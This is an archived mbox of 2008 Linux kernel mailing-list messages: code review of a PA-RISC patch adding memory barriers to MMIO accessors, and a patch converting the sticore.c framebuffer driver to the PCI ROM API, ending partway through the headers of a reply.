NNTP-Posting-Date: Tue, 3 Jun 2008 12:22:18 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 14:22:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K3VXS-0002r7-EB
	for glpp-linux-parisc@gmane.org; Tue, 03 Jun 2008 14:22:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752638AbYFCMWF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2008 08:22:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754201AbYFCMWF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Jun 2008 08:22:05 -0400
Original-Received: from wa-out-1112.google.com ([209.85.146.176]:62434 "EHLO
	wa-out-1112.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752638AbYFCMWD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2008 08:22:03 -0400
Original-Received: by wa-out-1112.google.com with SMTP id j37so828044waf.23
        for <linux-parisc@vger.kernel.org>; Tue, 03 Jun 2008 05:22:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=omg6FmXzzsT1r+91F07eAJ7N02QkavULgnCJlVaok/8=;
        b=Qst7RMIMPouvSVaHbyW6ce+XtM318/1yWrYhD9J/Hjdb3W+9NXV0qLOTgTbwsimKhTXCky0gCURmqnOFYsCIzOLKCkFRN2FozHXE7eXZHDIPP1lGHgva54W64/b1bYf9kXEEKVljaVdRGkTCMXK8nCln1oprPHayeLf7kHbXCs8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=evZdkyY6DVC0tK8Gtf26gSrF57fSJIuU3HQ+KUbU1rv9muJgL6Lkqq5yn3hR8Z68bp3vR4IngRXvJNKLwKB+CMFnCKwXzCfLUGFnia3cp7Wrsp7R2ju2FVgy3/yYiI6M++qzyeN/CIel+o5GReLlXmJzxS4qzD15jgGUYOqjkOw=
Original-Received: by 10.114.196.13 with SMTP id t13mr10991018waf.219.1212495722592;
        Tue, 03 Jun 2008 05:22:02 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Tue, 3 Jun 2008 05:22:02 -0700 (PDT)
In-Reply-To: <20080603054212.GA31771@phobos.i.cabal.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 45adb83a50e18ab9
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:370
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/370>

On Tue, Jun 3, 2008 at 1:42 AM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> Prevents GCC from reordering mmio accesses with regular memory
> accesses.
>
> They're in assembly since I felt like maybe using the strongly
> ordered completer on the instructions, so they would be more obvious
> in disassembly. (Yes, I know there's no weakly ordered PA
> implementation...)
> +#ifdef CONFIG_64BIT
> +       asm volatile(
> +       "       ldq     0(%0), %1\n"
> +       : : "r"(addr), "r"(q) : "memory");
> +#else
> +       unsigned int q_lo, q_hi;
> +       q_hi = __raw_readl(addr);
> +       q_lo = __raw_readl(addr+4);
> +       q = (unsigned long long)(q_hi << 32) | (q_lo);
> +#endif
> +
> +       return q;

Is there any reason the 32-bit version is uses plain C?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: add barriers to mmio accessors
Date: Tue, 3 Jun 2008 08:23:10 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <119aab440806030523o28640c4coaf9076a78c8a061c@mail.gmail.com>
References: <20080603054212.GA31771@phobos.i.cabal.ca>
	 <119aab440806030522i1a4dd588v20630893e3fb0425@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212495802 5362 80.91.229.12 (3 Jun 2008 12:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2008 12:23:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 14:24:03 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K3VYW-0003Fv-QE
	for glpp-linux-parisc@gmane.org; Tue, 03 Jun 2008 14:24:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752822AbYFCMXM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2008 08:23:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752263AbYFCMXL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Jun 2008 08:23:11 -0400
Original-Received: from wa-out-1112.google.com ([209.85.146.181]:64830 "EHLO
	wa-out-1112.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752822AbYFCMXK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2008 08:23:10 -0400
Original-Received: by wa-out-1112.google.com with SMTP id j37so828288waf.23
        for <linux-parisc@vger.kernel.org>; Tue, 03 Jun 2008 05:23:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=rBsgHlRAlFliWg0qTzGzn/3Hlf0+ogmUS2Be3XPqrJs=;
        b=sUFhXQyqvBYO23hbrs/WJLfYVPY+hVv5pfC6MW5uDz/I9XOQgowWOTBckM2H93dP9xQYUx5iJfuO7GdJc7G7tmWlt2MnLNyuAHMFMnuGF9K+mB5ftpZ2DrzEWmlUkbG3JVyCbRUzZ110JPCnlkWV7uuGdZAr62qtPp7QvW5MgrQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=MXkKO1cZN9MnBntL4UktlhPgnqPIjZBwr7TVYnEsUOoDYQaqkfZW3h36wFpAO0XSB+L256xmSPYR4v8CwXoXVCLw/H2lyJlCVv9rO9M8ukOMaJ/XvmCAo1SkKoOoWni21TgHJLiQezYiYTeroUDH2RVKKf4NQiU3YR69EHboN3Q=
Original-Received: by 10.114.66.8 with SMTP id o8mr11003742waa.135.1212495790252;
        Tue, 03 Jun 2008 05:23:10 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Tue, 3 Jun 2008 05:23:10 -0700 (PDT)
In-Reply-To: <119aab440806030522i1a4dd588v20630893e3fb0425@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 91b19a42033b8484
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:371
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/371>

On Tue, Jun 3, 2008 at 8:22 AM, Carlos O'Donell <carlos@systemhalted.org> wrote:
>> +#ifdef CONFIG_64BIT
>> +       asm volatile(
>> +       "       ldq     0(%0), %1\n"
>> +       : : "r"(addr), "r"(q) : "memory");
>> +#else
>> +       unsigned int q_lo, q_hi;
>> +       q_hi = __raw_readl(addr);
>> +       q_lo = __raw_readl(addr+4);
>> +       q = (unsigned long long)(q_hi << 32) | (q_lo);
>> +#endif
>> +
>> +       return q;
>
> Is there any reason the 32-bit version is uses plain C?

I see, you optimized this for the 64-bit case, that makes sense. I
should drink more coffee.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: add barriers to mmio accessors
Date: Tue, 3 Jun 2008 06:42:29 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <20080603124229.GA8434@parisc-linux.org>
References: <20080603054212.GA31771@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212496982 9592 80.91.229.12 (3 Jun 2008 12:43:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2008 12:43:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 14:43:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K3VrE-0001Us-ME
	for glpp-linux-parisc@gmane.org; Tue, 03 Jun 2008 14:43:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752702AbYFCMmb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2008 08:42:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753073AbYFCMmb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Jun 2008 08:42:31 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:48574 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752263AbYFCMma (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2008 08:42:30 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id E595A49400D; Tue,  3 Jun 2008 06:42:29 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080603054212.GA31771@phobos.i.cabal.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:372
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/372>

On Tue, Jun 03, 2008 at 01:42:12AM -0400, Kyle McMartin wrote:
> +#ifdef CONFIG_64BIT
> +	asm volatile(
> +	"	ldq	0(%0), %1\n"
> +	: : "r"(addr), "r"(q) : "memory");
> +#else
> +	unsigned int q_lo, q_hi;
> +	q_hi = __raw_readl(addr);
> +	q_lo = __raw_readl(addr+4);
> +	q = (unsigned long long)(q_hi << 32) | (q_lo);
> +#endif

Are you sure this is correct?  Seems to me it should be:

	q = ((unsigned long long)q_hi << 32) | q_lo;

I would have thought GCC would complain about a shift exceeding the
width of the type.

> +static inline void __raw_writeq(unsigned long long q, volatile void __iomem *addr)
>  {
> -	*(volatile unsigned long long __force *) addr = b;
> +#ifdef CONFIG_64BIT
> +	asm volatile(
> +	"	stq	%1, 0(%0)\n"
> +	: : "r"(addr), "r"(q) : "memory");
> +#else
> +	unsigned int q_hi = (q >> 32) & ~0UL;
> +	unsigned int q_lo = (q) & ~0UL;
> +	__raw_writel(q_hi, addr);
> +	__raw_writel(q_lo, addr+4);
> +#endif

It feels a little funny to be masking with UL when assigning to an
unsigned int.  I'd personally use 0xffffffff or ~0U or nothing at all
since it'll be truncated anyway.  (I recognise the value of saying "I do
intend to truncate this value" explicitly though.)

A third thing is that you're doing this to the __raw_ variants which
don't have to be serialised.  How about we keep the current definitions of
__raw_readX/__raw_writeX, define the regular readX/writeX to be the inline
assembler you've just posted, and add new defines of __readX/__writeX
as byteswapping versions of __raw_readX/__raw_writeX?

[For those who aren't on linux-arch, there's just been a long thread
about the semantics of the different accessors and the above reflects my
understanding of that thread.]

Should we add memory clobbers to gsc_readX/gsc_writeX?

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: add barriers to mmio accessors
Date: Tue, 3 Jun 2008 10:29:25 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <20080603142925.GB31771@phobos.i.cabal.ca>
References: <20080603054212.GA31771@phobos.i.cabal.ca> <20080603124229.GA8434@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212503387 4816 80.91.229.12 (3 Jun 2008 14:29:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2008 14:29:47 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 16:30:25 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K3XWh-0003xi-Kz
	for glpp-linux-parisc@gmane.org; Tue, 03 Jun 2008 16:30:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751456AbYFCO31 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2008 10:29:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752662AbYFCO31
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Jun 2008 10:29:27 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:40611 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751456AbYFCO30 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2008 10:29:26 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id D6D3B17806A; Tue,  3 Jun 2008 10:29:25 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080603124229.GA8434@parisc-linux.org>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:373
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/373>

On Tue, Jun 03, 2008 at 06:42:29AM -0600, Matthew Wilcox wrote:
> Are you sure this is correct?  Seems to me it should be:
> 
> 	q = ((unsigned long long)q_hi << 32) | q_lo;
> 
> I would have thought GCC would complain about a shift exceeding the
> width of the type.
> 

I probably fat fingered the braces.

> A third thing is that you're doing this to the __raw_ variants which
> don't have to be serialised.  How about we keep the current definitions of
> __raw_readX/__raw_writeX, define the regular readX/writeX to be the inline
> assembler you've just posted, and add new defines of __readX/__writeX
> as byteswapping versions of __raw_readX/__raw_writeX?
> 

I was just going to define them all in terms of this... since, well,
performance is mostly irrelevant.

> [For those who aren't on linux-arch, there's just been a long thread
> about the semantics of the different accessors and the above reflects my
> understanding of that thread.]
> 
> Should we add memory clobbers to gsc_readX/gsc_writeX?
> 

Yeah, I think so (although, I really hope GCC won't reorder serializing
instructions like rsm/ssm. ;-)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Helt <krzysztof.h1@poczta.fm>
Newsgroups: gmane.linux.fbdev.devel,gmane.linux.ports.parisc
Subject: [RESEND] [PATCH] convert sticore.c to PCI ROM
	API
Date: Thu, 5 Jun 2008 23:13:27 +0200
Lines: 117
Approved: news@gmane.org
Message-ID: <20080605231327.af9cc9e6.krzysztof.h1@poczta.fm>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212700292 4451 80.91.229.12 (5 Jun 2008 21:11:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Jun 2008 21:11:32 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Linux-fbdev-devel <linux-fbdev-devel@lists.sourceforge.net>
Original-X-From: linux-fbdev-devel-bounces@lists.sourceforge.net Thu Jun 05 23:12:14 2008
Return-path: <linux-fbdev-devel-bounces@lists.sourceforge.net>
Envelope-to: glfd-linux-fbdev-devel@m.gmane.org
Original-Received: from lists-outbound.sourceforge.net ([66.35.250.225])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K4Mkd-0006kQ-5N
	for glfd-linux-fbdev-devel@m.gmane.org; Thu, 05 Jun 2008 23:12:03 +0200
Original-Received: from sc8-sf-list1-new.sourceforge.net (sc8-sf-list1-new-b.sourceforge.net [10.3.1.93])
	by sc8-sf-spam2.sourceforge.net (Postfix) with ESMTP
	id 3655212109; Thu,  5 Jun 2008 14:11:14 -0700 (PDT)
Original-Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91]
	helo=mail.sourceforge.net)
	by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43)
	id 1K4Mjp-0002FQ-5Q for linux-fbdev-devel@lists.sourceforge.net;
	Thu, 05 Jun 2008 14:11:13 -0700
Original-Received: from smtp239.poczta.interia.pl ([217.74.64.239])
	by mail.sourceforge.net with esmtp (Exim 4.44) id 1K4Mjo-0006EO-BY
	for linux-fbdev-devel@lists.sourceforge.net;
	Thu, 05 Jun 2008 14:11:13 -0700
Original-Received: by smtp239.poczta.interia.pl (INTERIA.PL, from userid 502)
	id D4F74F722A; Thu,  5 Jun 2008 23:11:09 +0200 (CEST)
Original-Received: from poczta.interia.pl (mi06.poczta.interia.pl [10.217.12.6])
	by smtp239.poczta.interia.pl (INTERIA.PL) with ESMTP id 9341EF7257;
	Thu,  5 Jun 2008 23:11:08 +0200 (CEST)
Original-Received: by poczta.interia.pl (INTERIA.PL, from userid 502)
	id BA6051324C7; Thu,  5 Jun 2008 23:11:08 +0200 (CEST)
Original-Received: from krzysio.net (host-87-99-61-239.lanet.net.pl [87.99.61.239])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by www.poczta.fm (INTERIA.PL) with ESMTP id A91E81324BA;
	Thu,  5 Jun 2008 23:11:01 +0200 (CEST)
X-Mailer: Sylpheed 2.4.3 (GTK+ 2.11.0; i686-pc-linux-gnu)
X-EMID: f6c0b138
X-Spam-Score: 1.0 (+)
X-Spam-Report: Spam Filtering performed by sourceforge.net.
	See http://spamassassin.org/tag/ for more details.
	Report problems to
	http://sf.net/tracker/?func=add&group_id=1&atid=200001
	1.0 FORGED_RCVD_HELO       Received: contains a forged HELO
X-BeenThere: linux-fbdev-devel@lists.sourceforge.net
X-Mailman-Version: 2.1.8
Precedence: list
List-Id: <linux-fbdev-devel.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/linux-fbdev-devel>,
	<mailto:linux-fbdev-devel-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=linux-fbdev-devel>
List-Post: <mailto:linux-fbdev-devel@lists.sourceforge.net>
List-Help: <mailto:linux-fbdev-devel-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/linux-fbdev-devel>,
	<mailto:linux-fbdev-devel-request@lists.sourceforge.net?subject=subscribe>
Original-Sender: linux-fbdev-devel-bounces@lists.sourceforge.net
Errors-To: linux-fbdev-devel-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.fbdev.devel:11909 gmane.linux.ports.parisc:374
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/374>

From: Krzysztof Helt <krzysztof.h1@wp.pl>

Convert console/sticore.c file to use PCI ROM API.

Addresses http://bugzilla.kernel.org/show_bug.cgi?id=9425

Signed-off-by: Krzysztof Helt <krzysztof.h1@wp.pl>
Signed-off-by: Helge Deller <deller@gmx.de>

---
This patch was fixed and tested by Helge Deller on his
PARISC machine.


diff --git a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
index e9ab657..df30499 100644
--- a/drivers/video/console/sticore.c
+++ b/drivers/video/console/sticore.c
@@ -780,11 +780,13 @@ out_err:
 }
 
 static struct sti_struct * __devinit
-sti_try_rom_generic(unsigned long address, unsigned long hpa, struct pci_dev *pd)
+sti_try_rom_generic(unsigned long address, unsigned long hpa,
+		    struct pci_dev *pd)
 {
+	char __iomem *rom_base = (char __iomem *) address;
 	struct sti_struct *sti;
 	int ok;
-	u32 sig;
+	__le32 sig;
 
 	if (num_sti_roms >= MAX_STI_ROMS) {
 		printk(KERN_WARNING "maximum number of STI ROMS reached !\n");
@@ -808,7 +810,7 @@ test_rom:
 	sig = gsc_readl(address);
 
 	/* check for a PCI ROM structure */
-	if ((le32_to_cpu(sig)==0xaa55)) {
+	if (sig == cpu_to_le32(0xaa55)) {
 		unsigned int i, rm_offset;
 		u32 *rm;
 		i = gsc_readl(address+0x04);
@@ -868,10 +870,8 @@ test_rom:
 	/* disable STI PCI ROM. ROM and card RAM overlap and
 	 * leaving it enabled would force HPMCs
 	 */
-	if (sti->pd) {
-		unsigned long rom_base;
-		rom_base = pci_resource_start(sti->pd, PCI_ROM_RESOURCE);	
-		pci_write_config_dword(sti->pd, PCI_ROM_ADDRESS, rom_base & ~PCI_ROM_ADDRESS_ENABLE);
+	if (sti->pd && rom_base) {
+		pci_unmap_rom(sti->pd, rom_base);
 		DPRINTK((KERN_DEBUG "STI PCI ROM disabled\n"));
 	}
 
@@ -930,28 +930,25 @@ static int __devinit sticore_pci_init(struct pci_dev *pd,
 		const struct pci_device_id *ent)
 {
 #ifdef CONFIG_PCI
-	unsigned long fb_base, rom_base;
-	unsigned int fb_len, rom_len;
+	unsigned long fb_base;
+	unsigned int fb_len;
+	char __iomem *rom_base;
+	size_t rom_len;
 	struct sti_struct *sti;
 	
 	pci_enable_device(pd);
 
 	fb_base = pci_resource_start(pd, 0);
 	fb_len = pci_resource_len(pd, 0);
-	rom_base = pci_resource_start(pd, PCI_ROM_RESOURCE);
-	rom_len = pci_resource_len(pd, PCI_ROM_RESOURCE);
-	if (rom_base) {
-		pci_write_config_dword(pd, PCI_ROM_ADDRESS, rom_base | PCI_ROM_ADDRESS_ENABLE);
-		DPRINTK((KERN_DEBUG "STI PCI ROM enabled at 0x%08lx\n", rom_base));
-	}
+	rom_base = pci_map_rom(pd, &rom_len);
 
-	printk(KERN_INFO "STI PCI graphic ROM found at %08lx (%u kB), fb at %08lx (%u MB)\n",
+	printk(KERN_INFO "STI PCI graphic ROM found at %p (%u kB), fb at %08lx (%u MB)\n",
 		rom_base, rom_len/1024, fb_base, fb_len/1024/1024);
 
-	DPRINTK((KERN_DEBUG "Trying PCI STI ROM at %08lx, PCI hpa at %08lx\n",
+	DPRINTK((KERN_DEBUG "Trying PCI STI ROM at %p, PCI hpa at %08lx\n",
 		    rom_base, fb_base));
 
-	sti = sti_try_rom_generic(rom_base, fb_base, pd);
+	sti = sti_try_rom_generic((unsigned long)rom_base, fb_base, pd);
 	if (sti) {
 		char pa_path[30];
 		print_pci_hwpath(pd, pa_path);
@@ -975,7 +972,7 @@ static void __devexit sticore_pci_remove(struct pci_dev *pd)
 }
 
 
-static struct pci_device_id sti_pci_tbl[] = {
+DEFINE_PCI_DEVICE_TABLE(sti_pci_tbl) = {
 	{ PCI_DEVICE(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_VISUALIZE_EG) },
 	{ PCI_DEVICE(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_VISUALIZE_FX6) },
 	{ PCI_DEVICE(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_VISUALIZE_FX4) },




----------------------------------------------------------------------
Tanie rozmowy!
Sprawdz >>> http://link.interia.pl/f1e20 



-------------------------------------------------------------------------
Check out the new SourceForge.net Marketplace.
It's the best place to buy or sell services for
just about anything Open Source.
http://sourceforge.net/services/buy/index.php

From - Thu Nov 08 21:02:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.fbdev.devel,gmane.linux.ports.parisc
Subject: Re: [RESEND] [PATCH] convert sticore.c to PCI
	ROM API
Date: Thu, 5 Jun 2008 15:11:22 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20080605151122.a9ac8fbe.akpm@linux-foundation.org>
References: <20080605231327.af9cc9e6.krzysztof.h1@poczta.fm>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212703935 15856 80.91.229.12 (5 Jun 2008 22:12:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Jun 2008 22:12:15 +0000 (UTC)
Cc: deller@gmx.de, Jon Smirl <jonsmirl@yahoo.com>,
	linux-fbdev-devel@lists.sourceforge.net, linux-parisc@vger.kernel.org
To: Krzysztof Helt <krzysztof.h1@poczta.fm>
Original-X-From: linux-fbdev-devel-bounces@lists.sourceforge.net Fri Jun 06 00:12:56 2008
Return-path: <linux-fbdev-devel-bounces@lists.sourceforge.net>
Envelope-to: glfd-linux-fbdev-devel@m.gmane.org
Original-Received: from lists-outbound.sourceforge.net ([66.35.250.225])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K4NhX-0000v1-KE
	for glfd-linux-fbdev-devel@m.gmane.org; Fri, 06 Jun 2008 00:12:55 +0200
Original-Received: from sc8-sf-list1-new.sourceforge.net (sc8-sf-list1-new-b.sourceforge.net [10.3.1.93])
	by sc8-sf-spam2.sourceforge.net (Postfix) with ESMTP
	id AC3411252E; Thu,  5 Jun 2008 15:12:06 -0700 (PDT)
Original-Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91]
	helo=mail.sourceforge.net)
	by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43)
	id 1K4Ngi-0008DS-1R for linux-fbdev-devel@lists.sourceforge.net;
	Thu, 05 Jun 2008 15:12:04 -0700
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13])
	by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.44) id 1K4Ngh-0003yu-75
	for linux-fbdev-devel@lists.sourceforge.net;
	Thu, 05 Jun 2008 15:12:03 -0700
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org
	[140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with
	ESMTP id m55MBM8v023619
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 5 Jun 2008 15:11:23 -0700
Original-Received: from akpm.corp.google.com (localhost [127.0.0.1])
	by imap1.linux-foundation.org
	(8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id
